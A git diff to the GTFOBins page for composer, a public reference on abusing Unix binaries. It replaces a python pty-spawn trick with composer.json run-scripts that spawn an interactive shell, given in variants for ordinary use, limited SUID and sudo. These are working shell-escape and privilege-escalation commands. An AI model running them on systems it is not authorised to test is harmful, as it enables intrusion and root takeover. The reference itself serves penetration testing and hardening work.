diff --git a/_gtfobins/composer.md b/_gtfobins/composer.md
index 70d66a0..2b8cb66 100644
--- a/_gtfobins/composer.md
+++ b/_gtfobins/composer.md
@@ -1,23 +1,18 @@
 ---
 functions:
-  suid:
+  shell:
     - code: |
-        cat << EOF > composer.json
-        {
-            "scripts": {
-                "command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
-            }
-        }
-        EOF
-        ./composer run-script command
+        TF=$(mktemp -d)
+        echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
+        composer --working-dir=$TF run-script x
+  limited-suid:
+    - code: |
+        TF=$(mktemp -d)
+        echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
+        ./composer --working-dir=$TF run-script x
   sudo:
     - code: |
-        cat << EOF > composer.json
-        {
-            "scripts": {
-                "command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
-            }
-        }
-        EOF
-        composer run-script command
+        TF=$(mktemp -d)
+        echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
+        sudo composer --working-dir=$TF run-script x
 ---